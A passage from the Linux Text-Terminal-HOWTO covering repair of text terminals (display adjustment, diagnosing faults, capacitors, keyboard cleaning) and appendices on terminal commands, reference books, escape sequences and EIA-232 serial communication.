The lower voltages (of hundreds of volts) can be even more dangerous since they are not current limited. It is even more dangerous if your hands are wet or if you are wearing a metal watchband, ring or the like. In rare cases people have been killed by it so be careful. The lowest voltages of only several volts on digital circuitry are fairly safe but don't touch anything (except with a well insulated tool) unless you know for sure.

19.3 Appearance of Display

If the display is too dim, turn up the brightness and/or contrast. using knobs on the exterior of the unit (if they exist). If the width, height or centering is incorrect, there are often control knobs for these. For some older terminals one must press an arrow key (or the like) in set-up mode.

You may need to remove the cover to make adjustments, especially on older models. You could arrange things so that a large mirror is in front of the terminal so as to view the display in the mirror while making adjustments. The adjustments to turn may be on a printed circuit board. While a screwdriver (possibly Phillips-head) may be all that's needed, inductors may require special TV alignment tools (plastic hex wrenches, etc.). The abbreviated name of the adjustment should be printed on the circuit board. For example, here are some such names:

  • V-Size adjusts the Vertical height (Size)
  • H-Size adjusts the Horizontal width (Size). It may be an inductor.
  • V-Pos adjusts the Vertical Position
  • H-Pos adjusts the Horizontal Position
  • V-Lin adjusts Vertical Linearity (Use if width of scan lines differs at the top and bottom of the screen)
  • V-Hold adjusts Vertical Hold (Use if screen is uncontrollable scrolling)
  • Bright adjusts brightness (an external knob may also exist)
  • Sub-Bright adjusts brightness of subdued intensity mode (often the normal mode: dimmer than bold or bright mode).

Changing linearity may change the size so that it will need to be readjusted. A terminal that has been stored for some time may have a small display rectangle on the screen surrounded by a large black Before adjusting it, leave the terminal on for a while since it will likely recover some with use (the black borders will shrink).

19.4 Diagnose

Terminal Made a Noise or Smoked

If the terminal made some noise just before it failed (or when you turn it on after it failed) that noise is a clue to what is wrong. If you hear a noise or see/smell smoke, immediately turn the terminal off to prevent further damage. A pop noise may be a capacitor exploding or a fuse blowing. A buzzing noise is likely due to arcing. The problem may be in the high voltage power supply of several thousand volts.

Remove the cover. Look for discoloration and bulging/cracked capacitors. If the bad spot is not evident, turn it on again for a short time and look for smoking/arcing. For arcing, a dimly lit room will help find it. The high voltage cable (runs between the flyback transformer and the side of the picture tube) may have broken insulation that arcs to ground. Fix it with high-voltage insulating dope, or special electrical tape designed say for 10,000 volts.

The flyback transformer (high voltage) may make only a faint clicking or sparking noise if it fails. You may not hear it until you turn the terminal off for a while and then turn it back on again. To track down the noise you may use a piece of small rubber tubing (such as used in automobiles) as a stethoscope to listen to it. But while you are listening for the noise, the terminal is suffering more damage so try find it fast (but not so fast as to risk getting shocked).

A shorted power supply may cause a fuse to blow. Replacing a blown fuse may not solve the problem as the same short may blow the fuse again. Inspect for any darkened spots due to high heat and test those components. Shorted power transistors may cause the fuse to blow. They may be tested with a transistor checker or even with an ohm-meter. Use the low ohm scale on an ohm-meter so that the voltage applied by the meter is low. This will reduce the possible damage to good components caused by this test voltage.

If the terminal has been exposed to dampness such as being stored in a damp place or near a kitchen with steam from cooking, a fix may be to dry out the unit. Heating a "failed" flyback transformer with a blow dryer for several minutes may restore it.

Terminal Made No Noise

A blank screen may be due to someone turning the brightness control to the lowest level or to aging. The next thing to do is to check the cables for loose or broken connections. If there is no sign of power, substitute a new power cord after making sure that the power outlet on the wall is "hot".

If the keyboard is suspected, try it on another terminal of the same type or substitute a good keyboard. Wiggle the keyboard cable ends and the plug. Wires inside cables may break, especially near their ends. If the break is verified by wiggling it (having the problem go on and off in synchronization with the wiggles), then one may either get a new cable or cut into the cable and re-solder the breaks, etc.

One of the first things to do if the keyboard works is to put the terminal into Local Mode. If it works OK in local, then the problem is likely in the connection to the host computer (or incorrect interface) or in the UART chips of the terminal.

19.5 Detective work

By carefully inspecting the circuitry, one may often find the cause of the problem. Look for discoloration, cracks, etc. An intermittent problem may sometimes be found by tapping on components with a ball-point pen (not the metal tip of course). A break in the conductor of a printed circuit board may sometimes be revealed by flexing the board. Solder that looks like it formed a drop or a solder joint with little solder may need re-soldering. Soldering may heat up transistors (and other components) and damage them so use a heat sink if feasible. One failure may cause others, so unless you find the original cause, the failure may reoccur.

If you have a common brand of terminal, you may be able to search the Internet (including newsgroup postings) to find out what the most frequent types of problems are for your terminal and perhaps information on how to fix it. If you find that a certain component is bad you may search for this component (for example R214 wyse) and hopefully find a report by someone else who had the same problem. Such a report may indicate other components that failed at the same time. If a component is damaged so badly that its value can't be read, then you might find it on the Internet. The manufacturer may have on-line data that search engines don't index.

To see if the digital electronics work, try (using a good keyboard) typing at the bad terminal. Try to read this typing at a good terminal (or the console) using the copy command or with a terminal communication program such as minicom. You may need to hit the return key at the terminal in order to send a line. One may ask the bad terminal for its identity etc. from another terminal. This will show if two-way communication works.

19.6 Error Messages on the Screen

You are in luck if you see an error message on the screen. This usually happens when you first turn the terminal on.

Keyboard Error

This usually means that the keyboard is not plugged in, or that the connection is loose. For more serious problems see Keyboards

Checksum Error in NVR

NVR is "Non-Volatile RAM". This means that the NVR where the set-up information is stored has become corrupted. The terminal will likely still work but the configuration that was last saved when someone last configured the terminal has likely been lost. Try configuring again and then save it. It might work. On very old terminals (early 1980's) there was a battery-powered CMOS to save the configuration so in this case the problem could be just a dead battery. Sometimes the EEPROM chip (no battery needed) goes bad after too many saves. It may be hard to find. If you can't fix it you are either stuck with the default configuration or you may have escape sequences sent to the terminal when you start it up to try to configure it.

19.7 Capacitors

Electrolytic capacitors have a metal shell and are may become weak or fail if they set for years without being used. Sometimes just leaving the terminal on for a while will help partially restore them. If you can, exercise any terminals you have in storage by turning them on for a while every year or so.

Note that cheap electrolytic capacitors designed for use in audio circuits may fail if used in high frequency horizontal circuitry. For this, you need low resistance (low ESR) capacitors. Replace non-polarized capacitors (NP) with the same (or with "bi-polar").

If the terminal display takes several minutes of warmup before it's OK then it's likely that you have one or more bad electrolytic capacitors. One trick to find the bad one is to parallel each suspected bad one with a good one (of at least the same voltage rating and capacitance of roughly the same order of magnitude). If the display improves a lot when you do this, then you've likely found the bad capacitor. Be careful not to get shocked when doing this. The actual voltage with respect to ground may be much higher than the voltage rating of the capacitor.

19.8 Keyboards

Interchangeability

The keyboards for terminals are not the same as keyboards for PC's. The difference is not only in the key layout but in the codes generated when a key is pressed. Also, keyboards for various brands and models of terminals are not always interchangeable with each other. Sometimes one get an "incompatible" keyboard to partially work on a terminal. All the ASCII keys will work OK, but special keys such as set-up and break will not work correctly.

How They Work

Most keyboards just make a simple contact between two conductors when you press a key. Electronics inside a chip in the keyboard converts this contact closure into a code sent over the keyboard's external cable. Instead of having a separate wire (or conductor) going from each key to the chip, the following type scheme is used. Number the conductors say from 1-10 and A-J. For example: conductor 3 goes to several keys and conductor B goes to several keys, but only one key has both conductors 3 and B going to it. When that key is pressed, a short circuit is established between 3 and B. The chip senses this short and knows what key has been pressed. Such a scheme reduces the number of conductors needed (and reduces the number of pins needed on the chip). It's a similar scheme to what is called a "crossbar switch".

Modern vs Old Keyboards

While the modern keyboard and the old fashioned type look about the same, the mechanics of operation are different. The old ones have individual key switches under the key-caps with each switch enclosed in a hard plastic case. The modern ones use large flexible plastic sheets (membrane) the size of the keyboard. A plastic sheet with holes in it is sandwiched between two other plastic sheets containing printed circuits (including contact points). When you press a key, the two "printed" sheets are pressed together at a certain point, closing the contacts printed on the sheets at that point.

One Press Types 2 Different Characters

If, due to a defect, conductors 3 and 4 become shorted together then pressing the 3-B key will also short 4 and B and the chip will think that both keys 3-B and 4-B have been pressed. This is likely to type 2 different characters when all you wanted was one character.

Keyboard doesn't work at all

If none of the keys work try another keyboard (if you have one) to verify that the keyboard is the problem. One cause is a broken wire inside the cord (cable) that connects it to the terminal. The most likely location of the break is at either end of the cord. Try wigging the ends of the cord while tapping on a key to see if it works intermittently. If you find a bad spot, you may carefully cut into the cord with a knife at the bad spot and splice the broken conductor. Sometimes just a drop of solder will splice it. Seal up the cord with electrical tape, glue, or caulk. A keyboard that has gotten wet may not work at all until it's dry.

Typing b displays bb, etc. (doubled)

If all characters appear double there is likely nothing wrong with the keyboard. Instead, your terminal has likely been incorrectly set up for half-duplex (HDX or local echo=on) and every character you type is echoed back both from the electronics inside your terminal and from your host computer. If the two characters are not the same, there may be a short circuit inside your keyboard. See One Press Types 2 Different Characters

Row upon row of the same character appears

This may happen when auto-repeat is enabled and a key is held pressed down (or the like). It may be a key that sticks down when typed or it could be an electrical short that has the same effect.

Key sticks in down position (individual switches)

First try tapping on it hard several times but it's not likely to fix it. Next, your can either remove the keycap (if it is removable) and squirt a little cleaner on the push rod or work the key up and down while pushing on it sideways (or both). If this doesn`t work you may need to take the switch apart and clean the components.

If you decide to remove the keycap see Keyboards with individual switches. Press repeatedly on the push rod until it works OK and also displays its character on the screen. At first, the cleaner may cause the key to fail to display its character. Some keys stick due to stickiness on the keycap bottom surface.. If the key sticks in the fully down position this could be the problem. So you might need to clean this this area too.

If you decide to push it sideways, use a small screwdriver to push sideways with while pushing the key up and down with both your finger and the screwdriver. You should push it sideways in one of the four directions and try different directions. What you are doing by this is attempting to force out a foreign particles that are rubbing on the side of the key's push-rod and making it stick. Again, the problem may return later.

Always test the key just after fixing it and a short time later. To test the key, push it down very slowly and see if it sticks. Also push it sideways a little as you're pushing it down. If you hit it fast or push it straight down, then you may not observe the stickiness. This test will detect a key that seemingly works OK but is likely to cause trouble later on.

Key electrically shorted

If you suspect that a key is shorted out, fix it by cleaning the contacts per Cleaning Keyboard Contacts. If this problem happens at the login prompt see Key shorted.

Liquid spilled on the keyboard

If water or watery liquid has been spilled on the keyboard (or if it was exposed to rain, heavy dew, or dampness) some (or all) keys may not work right. The dampness may cause a key to short out (like it was pressed down all the time) and you may see the screen fill up with that letter if auto-repeat is enabled. If it's gotten wet and then partially (or fully) dried out, certain keys may not work due to deposits on the contact surfaces. For the modern type of keyboard, one may readily take apart the plastic sheets inside and dry/clean them. For the old type one may let it dry out in the sun or oven (low temp.). When it's dry it may still need contact cleaner on some keys as explained below.

Cleaning keyboard contacts

Keyboards with membranes

On some newer keyboards, the plastic sheets (membranes) are easy to remove for inspection and cleaning if needed. You only need to remove several screws to take apart the keyboard and get to the sheets. On some old IBM keyboards the sheets can't be removed without breaking off many plastic tabs which will need to be repaired with glue to put back (probably not worthwhile to repair). Such a keyboard may sometimes be made to work by flexing, twisting, and/or pounding the assembly containing the plastic sheets.

Keyboards with individual switches

What follows is for older keyboards that have separate hard plastic switches for each key. Before going to all the work of cleaning electrical contacts first try turning the keyboard upside-down and working the bad keys. This may help dislodge dirt, especially if you press the key hard and fast to set up vibration. Pressing the key down and wiggling it from side to side, etc. often helps.

Often the key-caps may be removed by prying them upward using a small screwdriver with the tip placed under a key while preventing excessive tilting with a finger. There exists a special tool known as keycap puller but you can get by without it. (Warning: Key-caps on modern keyboards don't pry up.) The key-cap may tilt a bit and wobble as it comes loose. It may even fly up and onto the floor. Then you have two choices on how to clean the contacts: Use contact cleaner spray directly on top of the key switch, or take the key switch apart and clean it. Still another choice is to replace the key switch with a new or used one.

Directly spraying contact cleaner or the like (obtained at an electronics store) into the top of the key switch is the fastest method but it may not work. Before spraying, clean the area around it a little. With the keyboard live (or with the key contacts connected to an ohm-meter) use the plastic tube which came with the spray to squirt cleaner so it will get inside the key switch. Try to move the key push rod up and down while spraying. Don't let the cleaning liquid get under nearby keys where it may pick up dust and then seep (with the dust) into adjacent key switches. If you make this mistake you may fix one key but damage nearby keys. If this should happen, immediately work (repeatedly press) the affected nearby keys until they continue to work OK.

You might tilt the keyboard so that the cleaner flows better into the contacts. For the CIT101e terminal with an Alps keyboard, this means tilting the digit row up toward the ceiling. While moving the key switch up and down with a pen or small screwdriver handle avoid getting the toxic cleaner liquid on your skin (or wear gloves). You might try turning the keyboard upside-down while working the key to drain off remaining cleaner. I don't usually do this. The more cleaner you squirt in the more likely it will fix it but it is also more likely to do more damage to the plastic or contaminate adjacent keys, so use what you think is just enough to do the job. Once the key works OK, work it up and down a little more and test it a half minute later, etc. to make sure it will still work OK.

Sometimes a key works fine when the contacts inside are saturated with contact cleaner liquid. But when the liquid dries a few minutes later then the resulting scale deposit left from the evaporation of the cleaning liquid on the contacts, prevents good contact. Then the key may work erratically (if at all). Operating the key when the liquid is drying inside may help. Some switches have the contacts nearly sealed inside so little if any contact cleaner reaches the contacts. The cleaner that does get to the contacts may carry contamination with it (cleaning around the tops before spraying helps minimize this).

If you need to disassemble the key switch, first inspect it to see how it is installed and comes apart. Sometimes one may remove the cover of the switch without removing the switch from the keyboard. To do this pry up (or pull up) the top of the key switch after prying apart thin plastic tabs that retain it. You may be able to use two small screwdrivers for this and be able to pry up the switch while prying apart the plastic retaining tabs. Don't pry to hard or you may break the plastic. If this can't be done, you may have to unsolder the switch and remove it in order to take it apart (or replace it). Once the switch has been taken apart you still may not be able to see the contacts if the contact surfaces are sandwiched together (nearly touching). You may get contact cleaner on the contacts by squirting a little cleaned on an edge where it can penetrate into the contacts as you work the contacts open and closed with a screwdriver.

If the above doesn't work. Slightly prying apart the conducting surfaces while applying cleaner might help. There may be some kind of clip holding the contact surfaces together which needs to be removed before prying. With cleaner on the contacts, work them. Tilting the keyboard or inverting it may help. Take care not to loose small parts as they may fly up into the air when taking apart a key switch. As a last resort, you may try bending the moving part that the push-rod pushes so as to make a stronger contact. In my terminal this part looks like the electrical contact but it likely just pushes the real electrical contact (thru a thin insulator).

When putting the key switch back together, make sure that the spring is in the right place. If, after you assemble the switch, the key pushes down too hard or too easy, the spring is likely not positioned right. If the spring is supposed to be recessed into a hole on the push rod, one way to temporarily "glue" the spring into the push-rod is to use a half-drop of water on the end of the spring. Then insert this end into the push rod and assemble quickly before the water dries. This should keep the spring from falling out of the push rod during assembly. Instead of using water, working on the keyboard when it's standing on end will keep the spring from falling out during assembly.


Text-Terminal-HOWTO: Appendix A: General

 Next Previous Contents

20. Appendix A: General

20.1 List of Linux Terminal Commands

Sending a command to the terminal

  • setterm: long options
  • tput: terse options
  • tset: initializes only
  • clear: clears screen
  • setterm -reset: sends reset string

Configuring the terminal device driver

  • Setserial:
  • Stty

Terminfo

  • Terminfo Compiler (tic) terminfo compiler & translator
  • toe: shows list of terminals for which you have terminfo files
  • infocmp compares or displays terminfo entries

Other

  • gitkeys: shows what bytes each key sends to the host.
  • tty: shows what tty port you are connected to.
  • set (or tset -q): shows the value of TERM, the terminfo entry name
  • tset: sets TERM interactively and initializes

20.2 The Internet and Books

Terminal Info on the Internet

  • Shuford's Website at the University of Tennessee has a great deal of useful information about text terminals.
  • VT terminal information and history http://www.vt100.net/
  • Boundless purchased the VT and Dorio terminal business from DEC. To get Specs select either ADDS, VT, or DORIO links. Then select a "data sheet" link. Then on the data sheet select the "Go to Specs" link.
  • Wyse has detailed info (such as escape sequences) in it's knowledge base. It's not as complete as a real manual since it mainly cover "native" personality. Wyse text-terminals database For current models see Wyse terminals.
  • Teemworld Escape Sequences is a list of escape sequences (and control codes) for some terminal emulations (including VT 100, 300, 420, and Wyse).
  • ncurses FAQ
  • comp.terminals is the newsgroup for terminals

Books related to terminals

  • EIA-232 serial port see EIA-232 (RS-232) Books.
  • Repair see Repair Books & Websites.
  • Terminfo database see Termcap Documents

Entire books on terminals

As far as I know, there is no satisfactory book on text terminals Although this HOWTO has been published as a book, I don't suggest that that you buy it if you have access to the online version which I'm improving on every month or so. The following are mainly of historical interest:

  • Handbook of Interactive Computer Terminals by Duane E. Sharp; Reston Publishing Co. 1977. (mostly obsolete)
  • Communicating with Display Terminals by Roger K. deBry; McGraw-Hill 1985. (mostly on IBM synchronous terminals)

The "HANDBOOK ... " presents brief specifications of over 100 different models of antique terminals made in the early 1970's by over 60 different companies. It also explains how they work physically but has a diagram for a CRT which erroneously shows electrostatic deflection of the electron beam (p. 36). Terminals actually used magnetic deflection (even in the 1970's). This book explains a number of advanced technical concepts such as "random scan" and "color penetration principle".

The "COMMUNICATING ... " book in contrast to the "Handbook ... " ignores the physical and electronic details of terminals. It has an entire chapter explaining binary numbers (which is not needed in a book on terminals since this information is widely available elsewhere). It seems to mostly cover old IBM terminals (mainly the 3270) in block and synchronous modes of operation. It's of little use for the commonly used ANSI terminals used today on Unix-like systems. Although it does discuss them a little it doesn't show the various wiring schemes used to connect them to serial ports.

Books with chapters on terminals

These chapters cover almost nothing about the terminals themselves and their capabilities. Rather, these chapters are mostly about how to set up the computer (and its terminal driver) to work with terminals. Due to the differences of different Unix-like systems, much of the information does not not apply to Linux.

  • Unix Power Tools by Jerry Peck et. al. O'Reilly 1998. Ch. 5 Setting Up Your Terminal, Ch. 41: Terminal and Serial Line Settings, Ch. 42: Problems With Terminals
  • Advanced Programming in the Unix Environment by W. Richard Stevens Addison-Wesley, 1993. Ch. 11: Terminal I/O, Ch. 19: Pseudo Terminals
  • Essential System Administration by Aleen Frisch, 2nd ed. O'Reilly, 1998. Ch. 11: Terminals and Modems.

The "UNIX POWER TOOLS" book has 3 short chapters on text terminals. It covers less ground than this HOWTO but gives more examples to help you.

The "ADVANCED PROGRAMMING ... " Chapter 11 covers only the device driver included in the operating system to deal with terminals. It explains the parameters one gives to the stty command to configure the terminal.

The "ESSENTIAL SYSTEM ..." book's chapter has more about terminals than modems. It seems well written.

20.3 Non-Linux OSs

Under Microsoft's DOS one may use the DOS command "ctty COM2" so that the DOS command line will display on a serial terminal (on COM2 in this example). Unfortunately one can then no longer use the computer monitor since MS DOS is not a multiuser operating system. Nor can more than one terminal be used. So this capability is of little (if any) benefit. If you emulate DOS under Linux with the free dosemu, it's reported that you can run several terminals (multiuser). But it's reported that PCTerm emulation doesn't work with it (yet ??).

While MS didn't create a "multiuser DOS" OS, others did. This permits the use of many terminals on one DOS PC. It's compatible with most MS-DOS software. One multiuser DOS OS is named "REAL/32". The terminal's "pcterm" emulation is used here. There also may be a "scan" (scancodes) setup mode which needs to be set. Other OSs such as PICK, PC-MOS, and Concurrent DOS were/are multiuser and support terminals.

There are 3 programs for Linux which let you run Windows applications on a Linux PC: free: Wine, non-free: VMware and NeTraverse. Can they use text-terminals under DOS? Wine can't since it doesn't have a DOS mode. The other two require you to run the MS Windows OS software as a "guest OS". The guest MS Windows OS has a DOS mode but it's not of much use for text-terminals since it's not multiuser.

For other unix-like OSs, the configuration of the host computer for terminals is usually significantly different than for Linux. Here are some links to on-line manuals for unix-like systems.

  • SCO's OpenServer Adding Serial Terminals in SCO OpenServer Handbook.
  • Hewlett-Packard's HP-UX "Configuring Terminals and Modems" (Url to it is dead.)


Text-Terminal-HOWTO: Appendix B: Escape Sequence Commands Terminology

 Next Previous Contents

21. Appendix B: Escape Sequence Commands Terminology

These are sometimes called "control sequences". This section of Text-Terminal-HOWTO is incomplete (and may never be complete as there are such a huge number of control sequences). This section is for reference and perhaps really belongs in something that would be called "Text-Terminal-Programming-HOWTO".

An example of an ANSI standard escape sequence is ESC[5B which moves the cursor down 5 lines. ESC is the Escape character. The parameter 5 is included in the sequence. If it were 7 the cursor would move down 7 lines, etc. A listing for this sequence as "move cursor down x lines: ESC[xB" is easy to to understand. But command jargon such as: "tertiary device attribute request" is less comprehensible. This section will try to explain some of the more arcane jargon used for escape sequence commands. A full listing (including the escape sequence codes for the ANSI standard) is a "wish list" project. Since many escape sequences do the same thing as is done when setting up the terminal with Set-Up Options, such escape sequences options will not be repeated here.

21.1 Esc Sequence List

For a list of many (but not all) escape sequences for various terminals see Teemworld Escape Sequences. These are used for terminal emulation and are not always the same as on the corresponding real terminal. A list for VT (not maintained) may be found at Emulators FAQ. Search for "VT". For downloading manuals see VT Manuals.

21.2 8-bit Control Codes

Table of 8-bit DEC control codes (in hexadecimal). Work on VT2xx or later. CSI is the most common.

ACRONYM  FULL_NAME                      HEX     REPLACES
IND Index (down one line)               84      ESC D
NEL Next Line                           85      ESC E
RI  Reverse Index (one line up)         8D      ESC M
SS2 Single Shift 2                      8E      ESC N
SS3 Single Shift 3                      8F      ESC O
DCS Device Control String               90      ESC P
CSI Control Sequence Introducer)        9B      ESC [
ST  String Terminator                   9C      ESC \

21.3 Printer Esc

  • Auto Print on/off: When on, data from the host is also teed (sent) to the printer port of the terminal (and also shows on the terminal screen).
  • Print Controller on/off: When on, data from the host is sent only to the printer (nothing shows on the terminal screen).

21.4 Reports

These sequences are usually a request sent from the host to request a report from the terminal. The terminal responds by sending a report (actually another escape sequence) to the host which has embedded in it certain values telling the host about the current state of the terminal. In some cases a report may be sent to the host even if it wasn't asked for. This sometimes happens when set-up is exited. By default no unsolicited reports should be sent.

  • Request for Status (Report Operating Status): Meaning of replies for VT100 is either "I'm OK" or "I'm not OK"
  • Request for Device Attributes: The "device" is usually the printer. Is there a printer? Is it ready?
  • Reqest for Tertiary Device Attributes (VT): Reply is report that was entered during set-up. The tertiary device is the 3rd device (the printer or auxiliary port device ??). The 1st device may be the host computer and the 2nd device the terminal.
  • Request for Terminal Parameters: What is the parity, baud rate, byte width, etc. This request doesn't seem to make much sense, since if the host didn't already know this it couldn't communicate with the terminal or send a reply.

21.5 Cursor Movements

The cursor is where the next character received from the host will be displayed. Most of the cursor movements are self-explanatory. "index cursor" means to move the cursor down one line. Cursor movements may be relative to the current position such as "move 4 spaces left" or absolute such as "move to row 3, column 39". Absolute is called "Direct Cursor Positioning" or "Direct Cursor Addressing".

The home position is row 1 col. 1 (index origin is 1). But where this home position is on the physical screen is not completely clear. If "Cursor Origin Mode" = "Relative Origin Mode" is set, then home is at the top of the scrolling region (not necessarily the top of the screen) at the left edge of the screen. If "Absolute Origin Mode" is set (the same as unsetting any of the two modes in the previous sentence) then home is at the upper left corner of the screen. On some old terminals if "Cursor Origin Mode" is set it means that it's relative.

21.6 Pages (definition)

See Pages for an explanation of pages. There are a number of escape sequences to deal with pages. Text may be copied from one page to another and one may move the cursor from page to page. Switching pages may or may not be automatic: when the screen becomes full (page 1) then more data from the host goes to page 2. The cursor may only be on one page at a time and characters which are sent to the terminal go there. If that page is not being displayed, new text will be received by the terminal and go into display memory, but you will not see it (until the terminal is switched to that page).


Text-Terminal-HOWTO: Appendix C: Serial Communications on EIA-232 (RS-232)

 Next Previous Contents

22. Appendix C: Serial Communications on EIA-232 (RS-232)

22.1 Intro to Serial Communication

(Much of this section is now found in Serial-HOWTO.) Text terminals on Unix-like systems (and on PC's) are usually connected to an asynchronous 232 serial port of a computer. It's usually a RS-232-C, EIA-232-D, or EIA-232-E. These three are almost the same thing. The original RS prefix became EIA (Electronics Industries Association) and later EIA/TIA after EIA merged with TIA (Telecommunications Industries Association). The EIA-232 spec provides also for synchronous (sync) communication but the hardware to support sync is almost always missing on PC's. The RS designation is obsolete but is still in use. EIA will be used in this article.

The serial port is more than just a physical connector on the back of a computer or terminal. It includes the associated electronics which must produce signals conforming to the EIA-232 specification. The standard connector has 25 pins, most of which are unused. An alternative connector has only 9 pins. One pin is used to send out data bytes and another to receive data bytes. Another pin is a common signal ground. The other "useful" pins are used mainly for signalling purposes with a steady negative voltage meaning "off" and a steady positive voltage meaning "on".

The UART (Universal Asynchronous Receiver-Transmitter) chip does most of the work. Today, the functionality of this chip is usually built into another chip.

22.2 Voltages

Voltage for a bit

At the EIA-232 serial port, voltages are bipolar (positive or negative with respect to ground) and should be about 12 volts in magnitude (some are 5 or 10 volts). For the transmit and receive pins +12 volts is a 0-bit (sometimes called "space") and -12 volts is a 1-bit (sometimes called "mark"). This is known as inverted logic since normally a 0-bit is both false and negative while a one is normally both true and positive. Although the receive and transmit pins are inverted logic, other pins (modem control lines) are normal logic with a positive voltage being true (or "on" or "asserted") and a negative voltage being false (or "off" or "negated"). Zero voltage has no meaning (except it usually means that the PC is powered off).

A range of voltages is allowed. The specs say the magnitude of a transmitted signal should be between 5 and 15 volts but must never exceed 25 V. Any voltage received under 3 V is undefined (but some terminals will accept a lower voltage as valid). One sometimes sees erroneous claims that the voltage is commonly 5 volts (or even 3 volts) but it's usually 11-12 volts. If you are using a EIA-422 port on a Mac computer as an EIA-232 (requires a special cable) or EIA-423 then the voltage will actually be only 5 V. The discussion here assumes 12 V. There is much confusion about voltages on the Internet.

Note that normal computer logic normally is just a few volts (5 volts was once the standard) so that if you try to use test equipment designed for testing 3-5 volt computer logic (TTL) on the 12 volts of a serial port, it may damage the test equipment.

Voltage sequence for a byte

The transmit pin (TxD) is held at -12 V (mark) at idle when nothing is being sent. To start a byte it jumps to +12 V (space) for the start bit and remains at +12 V for the duration (period) of the start bit. Next comes the low-order bit of the data byte. If it's a 0-bit nothing changes and the line remains at +12 V for another bit-period. Then comes the next bit, etc. Finally, a parity bit may be sent and then a -12 V (mark) stop bit. The line remains at -12 V (idle) until the next start bit. Note that there is no return to 0 volts and thus there is no simple way (except by a synchronizing signal) to tell where one bit ends and the next one begins for the case where 2 consecutive bits are the same polarity (both zero or both one).

A 2nd stop bit would also be -12 V, just the same as the first stop bit. Since there is no signal to mark the boundaries between these bits, the only effect of the 2nd stop bit is that the line must remain at -12 V idle twice as long. The receiver has no way of detecting the difference between a 2nd stop bit and a longer idle time between bytes. Thus communications works OK if one end uses one stop bit and the other end uses 2 stop bits, but using only one stop bit is obviously faster. In rare cases 1 1/2 stop bits are used. This means that the line is kept at -12 V for 1 1/2 time periods (like a stop bit 50% wider than normal).

22.3 Parity Explained

Characters are normally transmitted with either 7 or 8 bits (of data). An additional parity bit may (or may not) be appended to this resulting in a byte length of 7, 8 or 9 bits. Some terminal emulators and older terminals do not allow 9 bits. Some prohibit 9 bits if 2 stop bits are used (since this would make the total number of bits too large: 12 bits total).

The parity may be set to odd, even or none (mark and space parity may be options on some terminals). With odd parity, the parity bit is selected so that the number of 1-bits in a byte, including the parity bit, is odd. If a such a byte gets corrupted by a bit being flipped, the result is an illegal byte of even parity. This error will be detected and if it's an incoming byte to the terminal an error-character symbol will appear on the screen. Even parity works in a similar manner with all legal bytes (including the parity bit) having an even number of 1-bits. During set-up, the number of bits per character usually means only the number of data bits per byte (7 for true ASCII and 8 for various ISO character sets).

A "mark" is a 1-bit (or logic 1) and a "space" is a 0-bit (or logic 0). For mark parity, the parity bit is always a one-bit. For space parity it's always a zero-bit. Mark or space parity only wastes bandwidth and should be avoided when feasible. "No parity" means that no parity bit is added. For terminals that don't permit 9 bit bytes, "no parity" must be selected when using 8 bit character sets since there is no room for a parity bit.

22.4 Forming a Byte (Framing)

In serial transmission of bytes via EIA-232 ports, the low-order bit is always sent first. Serial ports on PC's use asynchronous communication where there is a start bit and a stop bit to mark the beginning and end of a byte. This is called framing and the framed byte is sometimes called a frame. As a result a total of 9, 10, or 11 bits are sent per byte with 10 being the most common. 8-N-1 means 8 data bits, No parity, 1 stop bit. This adds up to 10 bits total when one counts the start bit. One stop bit is almost universally used. At 110 bits/sec (and sometimes at 300 bits/sec) 2 stop bits were once used but today the 2nd stop bit is used only in very unusual situations (or by mistake since it seemingly still works OK that way).

22.5 Limitations of EIA-232

Low Speed & Short Distance

The conventional EIA-232 serial port is inherently low speed and is severely limited in distance. Ads often read "high speed" but it can only work at high speed over very short distances such as to a modem located right next to the computer. All of the wires use a common ground return so that twisted-pair technology (needed for high speeds) can't be used without additional hardware. However some computers have more modern interfaces. See Successors to EIA-232.

It is somewhat tragic that the RS-232 standard from 1969 did not use twisted pair technology which could operate about a hundred times faster. Twisted pairs have been used in telephone cables since the late 1800's. In 1888 (over 110 years ago) the "Cable Conference" reported its support of twisted-pair (for telephone systems) and pointed out its advantages. But over 80 years after this approval by the "Cable Conference", RS-232 failed to utilize it. Since RS-232 was originally designed for connecting a terminal to a low speed modem located nearby, the need for high speed and longer distance transmission was apparently not recognized.

Successors to EIA-232

See the Serial-HOWTO section "Other Serial Devices" for a longer discussion about non-EIA-232 ports. A number of EIA standards have been established for higher speeds and longer distances using twisted-pair (balanced) technology. Balanced transmission can sometimes be a hundred times faster than unbalanced EIA-232. For a given speed, the distance (maximum cable length) may be many times longer with twisted pair. Few terminals seem to support them. While many terminals also support EIA-423 is is almost like EIA-232 but is only 5 volts and somewhat higher speeds (without using twisted pair). Twisted pair includes EIA-422, EIA-530-A, HSSI (High Speed Serial Interface), USB (Universal Serial Bus), and of course ethernet.

Line Drivers

For a text terminal, the EIA-232 speeds are fast enough but the usable cable length is often too short. Balanced technology could fix this. The common method of obtaining balanced communication with a text terminal is to install 2@ line drivers in the serial line to convert unbalanced to balanced (and conversely). They are a specialty item and are expensive if purchased new.

22.6 Synchronization & Synchronous

How "Asynchronous" is Synchronized

Per EIA-232 there are only two states of the transmit (or receive) wire: mark (-12 V) or space (+12 V). There is no state of 0 V. Thus a sequence of 1-bits is transmitted by just a steady -12 V with no markers of any kind between bits. For the receiver to detect individual bits it must always have a clock signal which is in synchronization with the transmitter clock. Such clocks generate a "tick" in synchronization with each transmitted (or received) bit.

For asynchronous transmission, synchronization is achieved by framing each byte with a start bit and a stop bit (done by hardware). The receiver listens on the line for a start bit and when it detects one it starts its clock ticking. It uses this clock tick to time the reading of the next 7, 8 or 9 bits. (It actually is a little more complex than this since several samples of a bit are often taken and this requires additional timing ticks.) Then the stop bit is read, the clock stops and the receiver waits for the next start bit. Thus async is actually synchronized during the reception of a single byte but there is no synchronization between one byte and the next byte.

Defining Asynchronous vs Synchronous

Asynchronous (async) means "not synchronous". In practice, an async signal is what the async serial port sends and receives which is a stream of bytes each delimited by a start and stop bit. Synchronous (sync) is most everything else. But this doesn't explain the basic concepts.

In theory, synchronous means that bytes are sent out at a constant rate one after another in step with a clock signal tick. There is often a separate wire or channel for sending the clock signal. Asynchronous bytes may be sent out erratically with various time intervals between bytes (like someone typing characters at a keyboard).

There are borderline situations that need to be classified as either sync or async. The async serial port often sends out bytes in a steady stream which would make this a synchronous case but since they still have the start/stop bits (which makes it possible to send them out erratically) its called async. Another case is where data bytes (without any start-stop bits) are put into packets with possible erratic spacing between one packet and the next. This is called sync since the bytes within each packet must be transmitted synchronously.

Synchronous Communication

